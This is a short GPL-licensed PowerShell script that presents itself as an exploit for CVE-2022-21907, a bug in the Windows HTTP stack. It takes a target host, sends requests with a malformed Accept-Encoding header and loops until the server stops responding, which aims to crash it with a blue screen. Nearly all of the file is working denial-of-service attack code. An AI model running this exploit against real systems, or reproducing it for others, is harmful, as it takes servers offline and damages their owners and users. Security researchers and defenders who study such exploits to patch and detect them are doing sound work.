CVE-2022-21907.ps1

###################
#    This script exploit the CVE-2022-21907 for a DOS (Denial of Service) attack (Blue Screen).
#    Copyright (C) 2022  Maurice Lambert

#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.

#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.

#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <https://www.gnu.org/licenses/>.
###################

[CmdletBinding()]
param(
    [Parameter(Mandatory)]
    [string] $target
)

$license = "GPL-3.0 License"
$copyright = @"
CVE-2022-21907  Copyright (C) 2022  Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. 
"@

write "`n$copyright`n"

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62"

$headers = @{
    "Cache-Control"="max-age=0" 
    "sec-ch-ua"="`" Not;A Brand`";v=`"99`", `"Microsoft Edge`";v=`"97`", `"Chromium`";v=`"97`"" 
    "sec-ch-ua-mobile"="?0" 
    "sec-ch-ua-platform"="`"Windows`"" 
    "Upgrade-Insecure-Requests"="1" 
    "Accept"="text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" 
    "Sec-Fetch-Site"="none" 
    "Sec-Fetch-Mode"="navigate" 
    "Sec-Fetch-User"="?1" 
    "Sec-Fetch-Dest"="document" 
    "Accept-Encoding"="AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ," 
    "Accept-Language"="fr,fr-FR;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6" 
    "If-None-Match"="`"ef66c67b14dd81:0`"" 
    "If-Modified-Since"="Wed, 19 Jan 2022 09:11:03 GMT"
}


$ErrorActionPreference="Stop"
while(1) {
	try {
		Invoke-WebRequest -UseBasicParsing -Uri "http://$target/" -WebSession $session -Headers $headers -TimeoutSec 10
	} catch {
		break
	}
}